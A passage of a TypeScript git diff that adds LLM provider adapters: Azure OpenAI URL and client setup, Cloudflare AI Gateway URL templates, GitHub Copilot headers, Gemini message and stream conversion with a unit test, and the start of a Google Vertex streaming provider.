} + + const isAzureHost = + url.hostname.endsWith(".openai.azure.com") || + url.hostname.endsWith(".cognitiveservices.azure.com"); + const normalizedPath = url.pathname.replace(/\/+$/, ""); + + // Ensure Azure hosts have /openai/v1 as base path so the AzureOpenAI SDK + // can append /deployments//... and ?api-version=v1 correctly. + if ( + isAzureHost && + (normalizedPath === "" || normalizedPath === "/" || normalizedPath === "/openai") + ) { + url.pathname = "/openai/v1"; + url.search = ""; + } + + return url.toString().replace(/\/+$/, ""); +} + +function buildDefaultBaseUrl(resourceName: string): string { + return `https://${resourceName}.openai.azure.com/openai/v1`; +} + +function resolveAzureConfig( + model: Model<"azure-openai-responses">, + options?: AzureOpenAIResponsesOptions, +): { baseUrl: string; apiVersion: string } { + const apiVersion = + options?.azureApiVersion || process.env.AZURE_OPENAI_API_VERSION || DEFAULT_AZURE_API_VERSION; + + const baseUrl = + options?.azureBaseUrl?.trim() || process.env.AZURE_OPENAI_BASE_URL?.trim() || undefined; + const resourceName = options?.azureResourceName || process.env.AZURE_OPENAI_RESOURCE_NAME; + + let resolvedBaseUrl = baseUrl; + + if (!resolvedBaseUrl && resourceName) { + resolvedBaseUrl = buildDefaultBaseUrl(resourceName); + } + + if (!resolvedBaseUrl && model.baseUrl) { + resolvedBaseUrl = model.baseUrl; + } + + if (!resolvedBaseUrl) { + throw new Error( + "Azure OpenAI base URL is required. Set AZURE_OPENAI_BASE_URL or AZURE_OPENAI_RESOURCE_NAME, or pass azureBaseUrl, azureResourceName, or model.baseUrl.", + ); + } + + return { + baseUrl: normalizeAzureBaseUrl(resolvedBaseUrl), + apiVersion, + }; +} + +function createClient( + model: Model<"azure-openai-responses">, + apiKey: string, + options?: AzureOpenAIResponsesOptions, +) { + if (!apiKey) { + if (!process.env.AZURE_OPENAI_API_KEY) { + throw new Error( + "Azure OpenAI API key is required. Set AZURE_OPENAI_API_KEY environment variable or pass it as an argument.", + ); + } + apiKey = process.env.AZURE_OPENAI_API_KEY; + } + + const headers = { ...model.headers }; + + if (options?.headers) { + Object.assign(headers, options.headers); + } + + const { baseUrl, apiVersion } = resolveAzureConfig(model, options); + + return new AzureOpenAI({ + apiKey, + apiVersion, + dangerouslyAllowBrowser: true, + defaultHeaders: headers, + baseURL: baseUrl, + }); +} + +function buildParams( + model: Model<"azure-openai-responses">, + context: Context, + options: AzureOpenAIResponsesOptions | undefined, + deploymentName: string, +) { + const messages = convertResponsesMessages(model, context, AZURE_TOOL_CALL_PROVIDERS); + + const params: ResponseCreateParamsStreaming = { + model: deploymentName, + input: messages, + stream: true, + prompt_cache_key: clampOpenAIPromptCacheKey(options?.sessionId), + }; + + if (options?.maxTokens) { + params.max_output_tokens = options?.maxTokens; + } + + if (options?.temperature !== undefined) { + params.temperature = options?.temperature; + } + + if (context.tools && context.tools.length > 0) { + params.tools = convertResponsesTools(context.tools, { model }); + } + + if (model.reasoning) { + if (options?.reasoningEffort || options?.reasoningSummary) { + const effort = options?.reasoningEffort + ? (model.thinkingLevelMap?.[options.reasoningEffort] ?? options.reasoningEffort) + : "medium"; + params.reasoning = { + effort: effort as NonNullable["effort"], + summary: options?.reasoningSummary || "auto", + }; + params.include = ["reasoning.encrypted_content"]; + } else if (model.thinkingLevelMap?.off !== null) { + params.reasoning = { + effort: (model.thinkingLevelMap?.off ?? "none") as NonNullable< + typeof params.reasoning + >["effort"], + }; + } + } + + return params; +} diff --git a/src/llm/providers/cloudflare.ts b/src/llm/providers/cloudflare.ts new file mode 100644 index 00000000000..b4225daa1ea --- /dev/null +++ b/src/llm/providers/cloudflare.ts @@ -0,0 +1,37 @@ +import type { Model } from "../types.js"; + +/** Workers AI direct endpoint. */ +export const CLOUDFLARE_WORKERS_AI_BASE_URL = + "https://api.cloudflare.com/client/v4/accounts/{CLOUDFLARE_ACCOUNT_ID}/ai/v1"; + +/** AI Gateway Unified API. https://developers.cloudflare.com/ai-gateway/usage/unified-api/ */ +export const CLOUDFLARE_AI_GATEWAY_COMPAT_BASE_URL = + "https://gateway.ai.cloudflare.com/v1/{CLOUDFLARE_ACCOUNT_ID}/{CLOUDFLARE_GATEWAY_ID}/compat"; + +/** AI Gateway → OpenAI passthrough. Used until /compat supports /v1/responses. */ +export const CLOUDFLARE_AI_GATEWAY_OPENAI_BASE_URL = + "https://gateway.ai.cloudflare.com/v1/{CLOUDFLARE_ACCOUNT_ID}/{CLOUDFLARE_GATEWAY_ID}/openai"; + +/** AI Gateway → Anthropic passthrough. */ +export const CLOUDFLARE_AI_GATEWAY_ANTHROPIC_BASE_URL = + "https://gateway.ai.cloudflare.com/v1/{CLOUDFLARE_ACCOUNT_ID}/{CLOUDFLARE_GATEWAY_ID}/anthropic"; + +export function isCloudflareProvider(provider: string): boolean { + return provider === "cloudflare-workers-ai" || provider === "cloudflare-ai-gateway"; +} + +/** Substitute `{VAR}` placeholders in a Cloudflare baseUrl from process.env. */ +export function resolveCloudflareBaseUrl(model: Model): string { + const url = model.baseUrl; + if (!url.includes("{")) { + return url; + } + const baseUrl = url.replace(/\{([A-Z_][A-Z0-9_]*)\}/g, (_match, name: string) => { + const value = process.env[name]; + if (!value) { + throw new Error(`${name} is required for provider ${model.provider} but is not set.`); + } + return value; + }); + return baseUrl; +} diff --git a/src/llm/providers/github-copilot-headers.ts b/src/llm/providers/github-copilot-headers.ts new file mode 100644 index 00000000000..3be6e075a06 --- /dev/null +++ b/src/llm/providers/github-copilot-headers.ts @@ -0,0 +1,37 @@ +import type { Message } from "../types.js"; + +// Copilot expects X-Initiator to indicate whether the request is user-initiated +// or agent-initiated (e.g. follow-up after assistant/tool messages). +export function inferCopilotInitiator(messages: Message[]): "user" | "agent" { + const last = messages[messages.length - 1]; + return last && last.role !== "user" ? "agent" : "user"; +} + +// Copilot requires Copilot-Vision-Request header when sending images +export function hasCopilotVisionInput(messages: Message[]): boolean { + return messages.some((msg) => { + if (msg.role === "user" && Array.isArray(msg.content)) { + return msg.content.some((c) => c.type === "image"); + } + if (msg.role === "toolResult" && Array.isArray(msg.content)) { + return msg.content.some((c) => c.type === "image"); + } + return false; + }); +} + +export function buildCopilotDynamicHeaders(params: { + messages: Message[]; + hasImages: boolean; +}): Record { + const headers: Record = { + "X-Initiator": inferCopilotInitiator(params.messages), + "Openai-Intent": "conversation-edits", + }; + + if (params.hasImages) { + headers["Copilot-Vision-Request"] = "true"; + } + + return headers; +} diff --git a/extensions/google/google-shared.test.ts b/src/llm/providers/google-shared.convert.test.ts similarity index 98% rename from extensions/google/google-shared.test.ts rename to src/llm/providers/google-shared.convert.test.ts index add2c67b2f9..1e35a38be21 100644 --- a/extensions/google/google-shared.test.ts +++ b/src/llm/providers/google-shared.convert.test.ts @@ -1,9 +1,6 @@ -import type { Context, Tool } from "@earendil-works/pi-ai"; import { describe, expect, it } from "vitest"; -import { - convertMessages, - convertTools, -} from "../../node_modules/@earendil-works/pi-ai/dist/providers/google-shared.js"; +import type { Context, Tool } from "../types.js"; +import { convertMessages, convertTools } from "./google-shared.js"; import { asRecord, expectConvertedRoles, diff --git a/extensions/google/google-shared.test-helpers.ts b/src/llm/providers/google-shared.test-helpers.ts similarity index 98% rename from extensions/google/google-shared.test-helpers.ts rename to src/llm/providers/google-shared.test-helpers.ts index 996a8634cad..6ef57f3e78f 100644 --- a/extensions/google/google-shared.test-helpers.ts +++ b/src/llm/providers/google-shared.test-helpers.ts @@ -1,5 +1,5 @@ -import type { Model } from "@earendil-works/pi-ai"; import { expect } from "vitest"; +import type { Model } from "../types.js"; function makeZeroUsageSnapshot() { return { diff --git a/src/llm/providers/google-shared.test.ts b/src/llm/providers/google-shared.test.ts new file mode 100644 index 00000000000..eb8452b4c04 --- /dev/null +++ b/src/llm/providers/google-shared.test.ts @@ -0,0 +1,133 @@ +import { FinishReason, type GenerateContentResponse } from "@google/genai"; +import { describe, expect, it } from "vitest"; +import type { AssistantMessage, Model } from "../types.js"; +import { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { consumeGoogleGenerateContentStream } from "./google-shared.js"; + +const model: Model<"google-generative-ai"> = { + id: "gemini-test", + name: "Gemini Test", + api: "google-generative-ai", + provider: "google", + baseUrl: "", + reasoning: true, + input: ["text"], + cost: { + input: 1, + output: 2, + cacheRead: 0.25, + cacheWrite: 0, + }, + contextWindow: 128_000, + maxTokens: 8_192, +}; + +function createOutput(): AssistantMessage { + return { + role: "assistant", + content: [], + api: model.api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + total: 0, + }, + }, + stopReason: "stop", + timestamp: 0, + }; +} + +async function* chunks(items: GenerateContentResponse[]) { + yield* items; +} + +describe("consumeGoogleGenerateContentStream", () => { + it("projects text, thinking, tool calls, response id, and usage into one stream", async () => { + const output = createOutput(); + const stream = new AssistantMessageEventStream(); + const events: string[] = []; + const collect = (async () => { + for await (const event of stream) { + events.push(event.type); + } + })(); + + await consumeGoogleGenerateContentStream({ + chunks: chunks([ + { + responseId: "response-1", + candidates: [ + { + content: { + parts: [ + { text: "thinking", thought: true, thoughtSignature: "dGhpbms=" }, + { text: "hello" }, + { functionCall: { name: "lookup", args: { query: "cats" } } }, + ], + }, + }, + ], + } as GenerateContentResponse, + { + candidates: [{ finishReason: FinishReason.STOP }], + usageMetadata: { + promptTokenCount: 10, + cachedContentTokenCount: 2, + candidatesTokenCount: 3, + thoughtsTokenCount: 4, + totalTokenCount: 17, + }, + } as GenerateContentResponse, + ]), + model, + output, + stream, + nextToolCallId: (name) => `generated-${name}`, + }); + await collect; + + expect(events).toEqual([ + "start", + "thinking_start", + "thinking_delta", + "thinking_end", + "text_start", + "text_delta", + "text_end", + "toolcall_start", + "toolcall_delta", + "toolcall_end", + "done", + ]); + expect(output.responseId).toBe("response-1"); + expect(output.stopReason).toBe("toolUse"); + expect(output.content).toEqual([ + { type: "thinking", thinking: "thinking", thinkingSignature: "dGhpbms=" }, + { type: "text", text: "hello" }, + { + type: "toolCall", + id: "generated-lookup", + name: "lookup", + arguments: { query: "cats" }, + }, + ]); + expect(output.usage).toMatchObject({ + input: 8, + output: 7, + cacheRead: 2, + totalTokens: 17, + }); + expect(output.usage.cost.total).toBeGreaterThan(0); + }); +}); diff --git a/src/llm/providers/google-shared.ts b/src/llm/providers/google-shared.ts new file mode 100644 index 00000000000..a0d0f6759ec --- /dev/null +++ b/src/llm/providers/google-shared.ts @@ -0,0 +1,595 @@ +/** + * Shared utilities for Google Generative AI and Google Vertex providers. + */ + +import { + type Content, + FinishReason, + FunctionCallingConfigMode, + type GenerateContentResponse, + type Part, +} from "@google/genai"; +import { calculateCost } from "../model-utils.js"; +import type { + AssistantMessage, + Context, + ImageContent, + Model, + StopReason, + TextContent, + ThinkingContent, + Tool, + ToolCall, +} from "../types.js"; +import type { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; +import { transformMessages } from "./transform-messages.js"; + +type GoogleApiType = "google-generative-ai" | "google-vertex"; + +/** + * Thinking level for Gemini 3 models. + * Mirrors Google's ThinkingLevel enum values. + */ +export type GoogleThinkingLevel = + | "THINKING_LEVEL_UNSPECIFIED" + | "MINIMAL" + | "LOW" + | "MEDIUM" + | "HIGH"; + +/** + * Determines whether a streamed Gemini `Part` should be treated as "thinking". + * + * Protocol note (Gemini / Vertex AI thought signatures): + * - `thought: true` is the definitive marker for thinking content (thought summaries). + * - `thoughtSignature` is an encrypted representation of the model's internal thought process + * used to preserve reasoning context across multi-turn interactions. + * - `thoughtSignature` can appear on ANY part type (text, functionCall, etc.) - it does NOT + * indicate the part itself is thinking content. + * - For non-functionCall responses, the signature appears on the last part for context replay. + * - When persisting/replaying model outputs, signature-bearing parts must be preserved as-is; + * do not merge/move signatures across parts. + * + * See: https://ai.google.dev/gemini-api/docs/thought-signatures + */ +export function isThinkingPart(part: Pick): boolean { + return part.thought === true; +} + +/** + * Retain thought signatures during streaming. + * + * Some backends only send `thoughtSignature` on the first delta for a given part/block; later deltas may omit it. + * This helper preserves the last non-empty signature for the current block. + * + * Note: this does NOT merge or move signatures across distinct response parts. It only prevents + * a signature from being overwritten with `undefined` within the same streamed block. + */ +export function retainThoughtSignature( + existing: string | undefined, + incoming: string | undefined, +): string | undefined { + if (typeof incoming === "string" && incoming.length > 0) { + return incoming; + } + return existing; +} + +// Thought signatures must be base64 for Google APIs (TYPE_BYTES). +const base64SignaturePattern = /^[A-Za-z0-9+/]+={0,2}$/; + +function isValidThoughtSignature(signature: string | undefined): boolean { + if (!signature) { + return false; + } + if (signature.length % 4 !== 0) { + return false; + } + return base64SignaturePattern.test(signature); +} + +/** + * Only keep signatures from the same provider/model and with valid base64. + */ +function resolveThoughtSignature( + isSameProviderAndModel: boolean, + signature: string | undefined, +): string | undefined { + return isSameProviderAndModel && isValidThoughtSignature(signature) ? signature : undefined; +} + +/** + * Models via Google APIs that require explicit tool call IDs in function calls/responses. + */ +export function requiresToolCallId(modelId: string): boolean { + return modelId.startsWith("claude-") || modelId.startsWith("gpt-oss-"); +} + +function getGeminiMajorVersion(modelId: string): number | undefined { + const match = modelId.toLowerCase().match(/^gemini(?:-live)?-(\d+)/); + if (!match) { + return undefined; + } + return Number.parseInt(match[1], 10); +} + +function supportsMultimodalFunctionResponse(modelId: string): boolean { + const geminiMajorVersion = getGeminiMajorVersion(modelId); + if (geminiMajorVersion !== undefined) { + return geminiMajorVersion >= 3; + } + return true; +} + +/** + * Convert internal messages to Gemini Content[] format. + */ +export function convertMessages( + model: Model, + context: Context, +): Content[] { + const contents: Content[] = []; + const normalizeToolCallId = (id: string): string => { + if (!requiresToolCallId(model.id)) { + return id; + } + return id.replace(/[^a-zA-Z0-9_-]/g, "_").slice(0, 64); + }; + + const transformedMessages = transformMessages(context.messages, model, normalizeToolCallId); + + for (const msg of transformedMessages) { + if (msg.role === "user") { + if (typeof msg.content === "string") { + contents.push({ + role: "user", + parts: [{ text: sanitizeSurrogates(msg.content) }], + }); + } else { + const parts: Part[] = msg.content.map((item) => { + if (item.type === "text") { + return { text: sanitizeSurrogates(item.text) }; + } + return { + inlineData: { + mimeType: item.mimeType, + data: item.data, + }, + }; + }); + if (parts.length === 0) { + continue; + } + contents.push({ + role: "user", + parts, + }); + } + } else if (msg.role === "assistant") { + const parts: Part[] = []; + // Check if message is from same provider and model - only then keep thinking blocks + const isSameProviderAndModel = msg.provider === model.provider && msg.model === model.id; + + for (const block of msg.content) { + if (block.type === "text") { + // Skip empty text blocks + if (!block.text || block.text.trim() === "") { + continue; + } + const thoughtSignature = resolveThoughtSignature( + isSameProviderAndModel, + block.textSignature, + ); + parts.push({ + text: sanitizeSurrogates(block.text), + ...(thoughtSignature && { thoughtSignature }), + }); + } else if (block.type === "thinking") { + // Skip empty thinking blocks + if (!block.thinking || block.thinking.trim() === "") { + continue; + } + // Only keep as thinking block if same provider AND same model + // Otherwise convert to plain text (no tags to avoid model mimicking them) + if (isSameProviderAndModel) { + const thoughtSignature = resolveThoughtSignature( + isSameProviderAndModel, + block.thinkingSignature, + ); + parts.push({ + thought: true, + text: sanitizeSurrogates(block.thinking), + ...(thoughtSignature && { thoughtSignature }), + }); + } else { + parts.push({ + text: sanitizeSurrogates(block.thinking), + }); + } + } else if (block.type === "toolCall") { + const thoughtSignature = resolveThoughtSignature( + isSameProviderAndModel, + block.thoughtSignature, + ); + const part: Part = { + functionCall: { + name: block.name, + args: block.arguments ?? {}, + ...(requiresToolCallId(model.id) ? { id: block.id } : {}), + }, + ...(thoughtSignature && { thoughtSignature }), + }; + parts.push(part); + } + } + + if (parts.length === 0) { + continue; + } + contents.push({ + role: "model", + parts, + }); + } else if (msg.role === "toolResult") { + // Extract text and image content + const textContent = msg.content.filter((c): c is TextContent => c.type === "text"); + const textResult = textContent.map((c) => c.text).join("\n"); + const imageContent = model.input.includes("image") + ? msg.content.filter((c): c is ImageContent => c.type === "image") + : []; + + const hasText = textResult.length > 0; + const hasImages = imageContent.length > 0; + + // Gemini 3+ models support multimodal function responses with images nested inside + // functionResponse.parts. Claude and other non-Gemini models behind Cloud Code Assist / + // Gemini < 3 still needs a separate user image turn. + const modelSupportsMultimodalFunctionResponse = supportsMultimodalFunctionResponse(model.id); + + // Use "output" key for success, "error" key for errors as per SDK documentation + const responseValue = hasText + ? sanitizeSurrogates(textResult) + : hasImages + ? "(see attached image)" + : ""; + + const imageParts: Part[] = imageContent.map((imageBlock) => ({ + inlineData: { + mimeType: imageBlock.mimeType, + data: imageBlock.data, + }, + })); + + const includeId = requiresToolCallId(model.id); + const functionResponsePart: Part = { + functionResponse: { + name: msg.toolName, + response: msg.isError ? { error: responseValue } : { output: responseValue }, + ...(hasImages && modelSupportsMultimodalFunctionResponse && { parts: imageParts }), + ...(includeId ? { id: msg.toolCallId } : {}), + }, + }; + + // Cloud Code Assist API requires all function responses to be in a single user turn. + // Check if the last content is already a user turn with function responses and merge. + const lastContent = contents[contents.length - 1]; + if (lastContent?.role === "user" && lastContent.parts?.some((p) => p.functionResponse)) { + lastContent.parts.push(functionResponsePart); + } else { + contents.push({ + role: "user", + parts: [functionResponsePart], + }); + } + + // For Gemini < 3, add images in a separate user message + if (hasImages && !modelSupportsMultimodalFunctionResponse) { + contents.push({ + role: "user", + parts: [{ text: "Tool result image:" }, ...imageParts], + }); + } + } + } + + return contents; +} + +const JSON_SCHEMA_META_DECLARATIONS = new Set([ + "$schema", + "$id", + "$anchor", + "$dynamicAnchor", + "$vocabulary", + "$comment", + "$defs", + "definitions", // pre-draft-2019-09 equivalent of $defs +]); + +/** + * Strip meta-declarations from a schema obj + */ +function sanitizeForOpenApi(schema: unknown): unknown { + if (typeof schema !== "object" || schema === null || Array.isArray(schema)) { + return schema; + } + + const result: Record = {}; + for (const [key, value] of Object.entries(schema)) { + if (JSON_SCHEMA_META_DECLARATIONS.has(key)) { + continue; + } + result[key] = sanitizeForOpenApi(value); + } + return result; +} + +/** + * Convert tools to Gemini function declarations format. + * + * By default uses `parametersJsonSchema` which supports full JSON Schema (including + * anyOf, oneOf, const, etc.). Set `useParameters` to true to use the legacy `parameters` + * field instead (OpenAPI 3.03 Schema). This is needed for Cloud Code Assist with Claude + * models, where the API translates `parameters` into Anthropic's `input_schema`. + */ +export function convertTools( + tools: Tool[], + useParameters = false, +): { functionDeclarations: Record[] }[] | undefined { + if (tools.length === 0) { + return undefined; + } + return [ + { + functionDeclarations: tools.map((tool) => ({ + name: tool.name, + description: tool.description, + ...(useParameters + ? { parameters: sanitizeForOpenApi(tool.parameters as unknown) } + : { parametersJsonSchema: tool.parameters }), + })), + }, + ]; +} + +/** + * Map tool choice string to Gemini FunctionCallingConfigMode. + */ +export function mapToolChoice(choice: string): FunctionCallingConfigMode { + switch (choice) { + case "auto": + return FunctionCallingConfigMode.AUTO; + case "none": + return FunctionCallingConfigMode.NONE; + case "any": + return FunctionCallingConfigMode.ANY; + default: + return FunctionCallingConfigMode.AUTO; + } +} + +/** + * Map Gemini FinishReason to our StopReason. + */ +export function mapStopReason(reason: FinishReason): StopReason { + switch (reason) { + case FinishReason.STOP: + return "stop"; + case FinishReason.MAX_TOKENS: + return "length"; + case FinishReason.BLOCKLIST: + case FinishReason.PROHIBITED_CONTENT: + case FinishReason.SPII: + case FinishReason.SAFETY: + case FinishReason.IMAGE_SAFETY: + case FinishReason.IMAGE_PROHIBITED_CONTENT: + case FinishReason.IMAGE_RECITATION: + case FinishReason.IMAGE_OTHER: + case FinishReason.RECITATION: + case FinishReason.FINISH_REASON_UNSPECIFIED: + case FinishReason.OTHER: + case FinishReason.LANGUAGE: + case FinishReason.MALFORMED_FUNCTION_CALL: + case FinishReason.UNEXPECTED_TOOL_CALL: + case FinishReason.NO_IMAGE: + return "error"; + default: { + const exhaustive: never = reason; + throw new Error(`Unhandled stop reason: ${String(exhaustive)}`); + } + } +} + +export async function consumeGoogleGenerateContentStream(params: { + chunks: AsyncIterable; + model: Model; + output: AssistantMessage; + stream: AssistantMessageEventStream; + signal?: AbortSignal; + nextToolCallId: (name: string | undefined) => string; +}): Promise { + params.stream.push({ type: "start", partial: params.output }); + let currentBlock: TextContent | ThinkingContent | null = null; + const blocks = params.output.content; + const blockIndex = () => blocks.length - 1; + + const endCurrentBlock = () => { + if (!currentBlock) { + return; + } + if (currentBlock.type === "text") { + params.stream.push({ + type: "text_end", + contentIndex: blockIndex(), + content: currentBlock.text, + partial: params.output, + }); + } else { + params.stream.push({ + type: "thinking_end", + contentIndex: blockIndex(), + content: currentBlock.thinking, + partial: params.output, + }); + } + currentBlock = null; + }; + + for await (const chunk of params.chunks) { + params.output.responseId ||= chunk.responseId; + const candidate = chunk.candidates?.[0]; + if (candidate?.content?.parts) { + for (const part of candidate.content.parts) { + if (part.text !== undefined) { + const isThinking = isThinkingPart(part); + if ( + !currentBlock || + (isThinking && currentBlock.type !== "thinking") || + (!isThinking && currentBlock.type !== "text") + ) { + endCurrentBlock(); + if (isThinking) { + currentBlock = { type: "thinking", thinking: "", thinkingSignature: undefined }; + params.output.content.push(currentBlock); + params.stream.push({ + type: "thinking_start", + contentIndex: blockIndex(), + partial: params.output, + }); + } else { + currentBlock = { type: "text", text: "" }; + params.output.content.push(currentBlock); + params.stream.push({ + type: "text_start", + contentIndex: blockIndex(), + partial: params.output, + }); + } + } + if (currentBlock.type === "thinking") { + currentBlock.thinking += part.text; + currentBlock.thinkingSignature = retainThoughtSignature( + currentBlock.thinkingSignature, + part.thoughtSignature, + ); + params.stream.push({ + type: "thinking_delta", + contentIndex: blockIndex(), + delta: part.text, + partial: params.output, + }); + } else { + currentBlock.text += part.text; + currentBlock.textSignature = retainThoughtSignature( + currentBlock.textSignature, + part.thoughtSignature, + ); + params.stream.push({ + type: "text_delta", + contentIndex: blockIndex(), + delta: part.text, + partial: params.output, + }); + } + } + + if (part.functionCall) { + endCurrentBlock(); + const providedId = part.functionCall.id; + const needsNewId = + !providedId || + params.output.content.some( + (block) => block.type === "toolCall" && block.id === providedId, + ); + const toolCall: ToolCall = { + type: "toolCall", + id: needsNewId ? params.nextToolCallId(part.functionCall.name) : providedId, + name: part.functionCall.name || "", + arguments: (part.functionCall.args as Record) ?? {}, + ...(part.thoughtSignature && { thoughtSignature: part.thoughtSignature }), + }; + + params.output.content.push(toolCall); + params.stream.push({ + type: "toolcall_start", + contentIndex: blockIndex(), + partial: params.output, + }); + params.stream.push({ + type: "toolcall_delta", + contentIndex: blockIndex(), + delta: JSON.stringify(toolCall.arguments), + partial: params.output, + }); + params.stream.push({ + type: "toolcall_end", + contentIndex: blockIndex(), + toolCall, + partial: params.output, + }); + } + } + } + + if (candidate?.finishReason) { + params.output.stopReason = mapStopReason(candidate.finishReason); + if (params.output.content.some((block) => block.type === "toolCall")) { + params.output.stopReason = "toolUse"; + } + } + + if (chunk.usageMetadata) { + params.output.usage = { + input: + (chunk.usageMetadata.promptTokenCount || 0) - + (chunk.usageMetadata.cachedContentTokenCount || 0), + output: + (chunk.usageMetadata.candidatesTokenCount || 0) + + (chunk.usageMetadata.thoughtsTokenCount || 0), + cacheRead: chunk.usageMetadata.cachedContentTokenCount || 0, + cacheWrite: 0, + totalTokens: chunk.usageMetadata.totalTokenCount || 0, + cost: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + total: 0, + }, + }; + calculateCost(params.model, params.output.usage); + } + } + + endCurrentBlock(); + + if (params.signal?.aborted) { + throw new Error("Request was aborted"); + } + + if (params.output.stopReason === "aborted" || params.output.stopReason === "error") { + throw new Error("An unknown error occurred"); + } + + params.stream.push({ + type: "done", + reason: params.output.stopReason, + message: params.output, + }); + params.stream.end(); +} + +/** + * Map string finish reason to our StopReason (for raw API responses). + */ +export function mapStopReasonString(reason: string): StopReason { + switch (reason) { + case "STOP": + return "stop"; + case "MAX_TOKENS": + return "length"; + default: + return "error"; + } +} diff --git a/src/llm/providers/google-vertex.ts b/src/llm/providers/google-vertex.ts new file mode 100644 index 00000000000..6c1eaf87214 --- /dev/null +++ b/src/llm/providers/google-vertex.ts @@ -0,0 +1,398 @@ +import { + type GenerateContentConfig, + type GenerateContentParameters, + GoogleGenAI, + type HttpOptions, + ResourceScope, + type ThinkingConfig, + ThinkingLevel, +} from "@google/genai"; +import { clampThinkingLevel } from "../model-utils.js"; +import type { + Api, + AssistantMessage, + Context, + Model, + ThinkingLevel as AgentThinkingLevel, + SimpleStreamOptions, + StreamFunction, + StreamOptions, + ThinkingBudgets, +} from "../types.js"; +import { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; +import type { GoogleThinkingLevel } from "./google-shared.js"; +import { + consumeGoogleGenerateContentStream, + convertMessages, + convertTools, + mapToolChoice, +} from "./google-shared.js"; +import { buildBaseOptions } from "./simple-options.js"; + +export interface GoogleVertexOptions extends StreamOptions { + toolChoice?: "auto" | "none" | "any"; + thinking?: { + enabled: boolean; + budgetTokens?: number; // -1 for dynamic, 0 to disable + level?: GoogleThinkingLevel; + }; + project?: string; + location?: string; +} + +const API_VERSION = "v1"; +const GCP_VERTEX_CREDENTIALS_MARKER = "gcp-vertex-credentials"; + +const THINKING_LEVEL_MAP: Record = { + THINKING_LEVEL_UNSPECIFIED: ThinkingLevel.THINKING_LEVEL_UNSPECIFIED, + MINIMAL: ThinkingLevel.MINIMAL, + LOW: ThinkingLevel.LOW, + MEDIUM: ThinkingLevel.MEDIUM, + HIGH: ThinkingLevel.HIGH, +}; + +// Counter for generating unique tool call IDs +let toolCallCounter = 0; + +export const streamGoogleVertex: StreamFunction<"google-vertex", GoogleVertexOptions> = ( + model: Model<"google-vertex">, + context: Context, + options?: GoogleVertexOptions, +) => { + const stream = new AssistantMessageEventStream(); + + void (async () => { + const output: AssistantMessage = { + role: "assistant", + content: [], + api: "google-vertex" as Api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + stopReason: "stop", + timestamp: Date.now(), + }; + + try { + const apiKey = resolveApiKey(options); + // Create the client using either a Vertex API key, if provided, or ADC with project and location + const client = apiKey + ? createClientWithApiKey(model, apiKey, options?.headers) + : createClient(model, resolveProject(options), resolveLocation(options), options?.headers); + let params = buildParams(model, context, options); + const nextParams = await options?.onPayload?.(params, model); + if (nextParams !== undefined) { + params = nextParams as GenerateContentParameters; + } + const googleStream = await client.models.generateContentStream(params); + await consumeGoogleGenerateContentStream({ + chunks: googleStream, + model, + output, + stream, + signal: options?.signal, + nextToolCallId: (name) => `${name}_${Date.now()}_${++toolCallCounter}`, + }); + } catch (error) { + // Remove internal index property used during streaming + for (const block of output.content) { + if ("index" in block) { + delete (block as { index?: number }).index; + } + } + output.stopReason = options?.signal?.aborted ? "aborted" : "error"; + output.errorMessage = error instanceof Error ? error.message : JSON.stringify(error); + stream.push({ type: "error", reason: output.stopReason, error: output }); + stream.end(); + } + })(); + + return stream; +}; + +export const streamSimpleGoogleVertex: StreamFunction<"google-vertex", SimpleStreamOptions> = ( + model: Model<"google-vertex">, + context: Context, + options?: SimpleStreamOptions, +) => { + const base = buildBaseOptions(model, options, undefined); + if (!options?.reasoning) { + return streamGoogleVertex(model, context, { + ...base, + thinking: { enabled: false }, + } satisfies GoogleVertexOptions); + } + + const clampedReasoning = clampThinkingLevel(model, options.reasoning); + const effort = (clampedReasoning === "off" ? "high" : clampedReasoning) as ClampedThinkingLevel; + const geminiModel = model as unknown as Model<"google-generative-ai">; + + if (isGemini3ProModel(geminiModel) || isGemini3FlashModel(geminiModel)) { + return streamGoogleVertex(model, context, { + ...base, + thinking: { + enabled: true, + level: getGemini3ThinkingLevel(effort, geminiModel), + }, + } satisfies GoogleVertexOptions); + } + + return streamGoogleVertex(model, context, { + ...base, + thinking: { + enabled: true, + budgetTokens: getGoogleBudget(geminiModel, effort, options.thinkingBudgets), + }, + } satisfies GoogleVertexOptions); +}; + +function createClient( + model: Model<"google-vertex">, + project: string, + location: string, + optionsHeaders?: Record, +): GoogleGenAI { + return new GoogleGenAI({ + vertexai: true, + project, + location, + apiVersion: API_VERSION, + httpOptions: buildHttpOptions(model, optionsHeaders), + }); +} + +function createClientWithApiKey( + model: Model<"google-vertex">, + apiKey: string, + optionsHeaders?: Record, +): GoogleGenAI { + return new GoogleGenAI({ + vertexai: true, + apiKey, + apiVersion: API_VERSION, + httpOptions: buildHttpOptions(model, optionsHeaders), + }); +} + +function buildHttpOptions( + model: Model<"google-vertex">, + optionsHeaders?: Record, +): HttpOptions | undefined { + const httpOptions: HttpOptions = {}; + const baseUrl = resolveCustomBaseUrl(model.baseUrl); + if (baseUrl) { + httpOptions.baseUrl = baseUrl; + httpOptions.baseUrlResourceScope = ResourceScope.COLLECTION; + if (baseUrlIncludesApiVersion(baseUrl)) { + httpOptions.apiVersion = ""; + } + } + + if (model.headers || optionsHeaders) { + httpOptions.headers = { ...model.headers, ...optionsHeaders }; + } + + return Object.keys(httpOptions).length > 0 ? httpOptions : undefined; +} + +function resolveCustomBaseUrl(baseUrl: string): string | undefined { + const trimmed = baseUrl.trim(); + if (!trimmed || trimmed.includes("{location}")) { + return undefined; + } + return trimmed; +} + +function baseUrlIncludesApiVersion(baseUrl: string): boolean { + try { + const url = new URL(baseUrl); + return url.pathname.split("/").some((part) => /^v\d+(?:beta\d*)?$/.test(part)); + } catch { + return /(?:^|\/)v\d+(?:beta\d*)?(?:\/|$)/.test(baseUrl); + } +} + +function resolveApiKey(options?: GoogleVertexOptions): string | undefined { + const apiKey = options?.apiKey?.trim() || 